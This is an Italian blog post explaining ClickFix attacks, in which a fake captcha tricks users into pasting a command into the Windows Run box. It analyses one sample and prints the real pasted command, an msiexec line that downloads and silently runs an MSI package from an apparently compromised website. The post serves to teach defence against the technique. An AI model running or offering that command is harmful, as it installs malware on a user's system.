Cos'è un attacco ClickFix
Disclaimer: tutto ciò che viene mostrato in questo post è stato eseguito esclusivamente su una macchina virtuale, utilizzando la Flare VM, in un ambiente isolato e sicuro.
Un attacco ClickFix è una tecnica di ingegneria sociale e distribuzione di malware in cui gli attaccanti ingannano l'utente per fargli incollare ed eseguire manualmente un comando malevolo nel proprio terminale (PowerShell su Windows oppure il Terminale su macOS/Linux).
A differenza dei classici attacchi, in cui ti viene chiesto di scaricare un file `.exe` o di abilitare le macro in Word, il metodo ClickFix sfrutta la fiducia dell'utente, facendogli credere di stare risolvendo un semplice problema tecnico del browser o del sistema.
In questo esempio si vede chiaramente che si tratta di un sito malevolo, dato che l'URL è letteralmente un indirizzo IP e la connessione non è nemmeno in HTTPS. Qui ci serve solo come esempio per capire come funzionano questi attacchi.
Dunque ci viene chiesto di risolvere il captcha premendo `Win + R`, poi di premere `CTRL+V` per incollare. Qui ci fermiamo e vediamo cosa stiamo incollando:
```sh msiexec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha ```
`msiexec.exe` è un programma di installazione di Windows e, tra le altre cose, può anche scaricare un file da remoto ed eseguirlo in automatico, senza che l'utente faccia nulla.
I file con estensione `.msi` (Windows Installer) non sono semplici archivi da estrarre, ma veri e propri database di istruzioni. Al loro interno esiste una tabella chiamata CustomAction. Gli attaccanti inseriscono in questa tabella delle istruzioni programmatiche (script PowerShell, comandi VBScript, oppure DLL o file `.exe` malevoli), impostando il flag per l'esecuzione immediata non appena l'installer viene avviato.
Non appena `msiexec` finisce di scaricare il pacchetto, legge la tabella del database ed esegue automaticamente il payload contenuto nella CustomAction, senza aspettare che tu prema tasti come "Avanti" o "Installa".
Proviamo a scaricare manualmente il file, per evitare che `msiexec` lo esegua in automatico: se proviamo a raggiungere l'indirizzo dal browser, riceviamo un 404 pagina non trovata.
A quanto pare il malware era stato caricato su un sito web legittimo, probabilmente hackerato: al suo interno era stato inserito il pacchetto `.msi` malevolo.